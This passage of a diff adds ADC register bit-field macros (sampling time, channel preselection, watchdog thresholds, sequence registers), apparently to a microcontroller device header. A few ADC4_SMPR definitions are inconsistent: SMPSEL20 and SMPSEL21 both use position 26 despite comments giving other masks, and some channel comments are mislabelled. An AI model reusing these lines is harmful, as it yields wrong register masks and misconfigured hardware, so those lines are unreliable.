Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define 